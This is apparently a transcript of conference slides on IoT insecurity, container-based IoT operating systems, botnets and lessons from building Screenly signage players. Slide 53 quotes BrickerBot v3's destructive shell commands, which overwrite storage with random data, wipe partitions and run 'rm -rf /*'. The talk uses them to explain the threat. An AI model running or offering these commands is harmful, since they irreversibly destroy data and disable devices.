The 'S' in IoT Stands for Security (a.k.a. Internet of Shit)

Transcript

1. Internet of Shit
   The ”S” in “IoT” stands for ”Security”
   

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2. I’m:
   - Andy
   - Dev-like
   - Sec-ish
   - Ops-y
   

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4. Viktor (@vpetersson)
   ● Entrepreneur, geek, tinkerer
   ● Mediocre developer
   ● OK-ish at DevOps
   ● Founder of Screenly (and a few
   other things)
   

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5. Digital signage
   made easy
   

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6. © xkcd
   The sad state of ”smart” devices
   

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7. “The Internet of Things is a science
   project focused on creating the most
   complex way possible of turning the
   lights on.”
   @domguinard
   

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15. https://www.theregister.co.uk/2016/03/25/vnc_roulette/
    https://www.tomsguide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12
    

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16. What This Talk is About
    ● IoT: The State of the Art
    ● How Containers Can Help
    ● Botnets and Brickerbots
    ● Building Better Devices
    

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17. IoT: The State of the Art
    

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18. https://www.wired.com/2016/08/jeep-hackers-return-high-speed-steering-acceleration-hacks/
    ●
    

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19. http://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/
    

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26. How We Think IoT Devices Run
    

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27. How IoT Devices Actually Run
    

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29. Blockchain all da thingz!
    

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30. Containers and IoT
    

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31. Containers to the Rescue!
    Containers to the Rescue!
    

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32. Modern IoT Operating Systems
    ( )
    

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33. OS OTA Process Isolation State
    resin.io X X Stable
    Ubuntu Core X X Stable
    eliot X X Proof of Concept
    Mender X - Beta (?)
    ACRN - X Beta (?)
    

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38. Container Oriented IoT
    Kernel
    Scheduler /
    Management
    App container
    

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39. ● “git push master resin”
    ● Yocto based
    ● Application isolated
    ● Isolation tool: Balena
    

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42. ● Alpha
    ● Heavily inspired by CoreOS / Kubernetes
    ● Isolation tool: Docker
    

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44. ● Smaller footprint than “Classic”
    ● Lots of “read-only”
    ● Interfaces, slots and plugs
    ● Snaps, Docker and LXD
    ● (Primary) Isolation tool: AppArmor
    

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46. - Untrusted Domain
    

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47. - Untrusted Domain
    ● Restricted host filesystem access
    ● Restricted host APIs
    ● Restricted to application-specific user data
    ● More isolation than a rogue nation state
    

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48. - Untrusted Domain
    ● Restricted host filesystem access
    ● Restricted host APIs
    ● Restricted to application-specific user data
    ● More isolation than a rogue nation state
    ● Possible GDPR compliance
    

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49. - Trusted Domain
    ● Built from the Ubuntu archive
    ● Archive integrity guaranteed by package maintainers
    ● May or may not run confined
    ○ Access to resource or data in the user’s session
    ○ Limited system service access (DAC/capability/policy permitting)
    

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50. - Trusted Domain
    https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf
    

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51. https://www.networkworld.com/article/3128372/internet-of-things/ddos-at
    tacks-using-iot-devices-follow-the-manchurian-candidate-model.html
    

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53. # BrickerBot v3 device logic
    $ busybox cat /dev/urandom >/dev/mtdblock0 &
    $ busybox cat /dev/urandom >/dev/sda &
    $ busybox cat /dev/urandom >/dev/mtdblock10 &
    $ busybox cat /dev/urandom >/dev/mmc0 &
    $ busybox cat /dev/urandom >/dev/sdb &
    $ busybox cat /dev/urandom >/dev/ram0 &
    $ busybox cat /dev/urandom >/dev/mtd0 &
    $ busybox cat /dev/urandom >/dev/mtd1 &
    $ busybox cat /dev/urandom >/dev/mtdblock1 &
    $ busybox cat /dev/urandom >/dev/mtdblock2 &
    $ busybox cat /dev/urandom >/dev/mtdblock3 &
    $ fdisk -C 1 -H 1 -S1 /dev/mtd0
    w
    $ fdisk -C 1 -H 1 -S1 /dev/mtd1
    w
    $ fdisk -C 1 -H 1 -S1 /dev/sda
    w
    $ fdisk -C 1 -H 1 -S1 /dev/mtdblock0
    w
    $ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null & sysctl -w
    net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1
    $ halt -n -f
    $ reboot
    

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54. Defence Against the Dark Botnets
    

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59. IPv6
    IPv6
    

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60. IPv6
    

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61. Building Better IoT Devices
    

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62. http://www.ideaeconomics.org/guerracartoons/2015/2/11/race-to-the-bottom
    

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63. Device life cycle
    

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64. Common mistakes
    

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65. Designing Better IoT Devices
    

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66. Kubernetes? Istio? VirtualKubelet?
    

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67. Azure IoT Edge Connector for Kubernetes
    https://github.com/Azure/iot-edge-virtual-kubelet-provider
    

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68. Lessons learned from Screenly
    

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69. Screenly 1 Player
    + + + +
    

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70. Screenly 2 Player criteria
    ● Disk images built on CI
    ● Process isolation (perhaps using containers)
    ● Transactional updates (app and OS)
    ○ Automatic roll-back
    ● Not having to manage the OS layer ourselves
    ○ Must be locked down/Hardened by default
    ● Bonus: Cryptographically signed updates
    

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71. Screenly 2 Player
    + +
    

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72. Recap
    

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73. Conclusion
    ● IoT security is an afterthought at best
    ● The new breed of containerised IoT platforms greatly enhance the update and
    security story
    ● We can fix life cycle and runtime security
    ● Patch your devices!
    

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74. @sublimino
    @controlplaneio
    @vpetersson
    @screenlyapp
    

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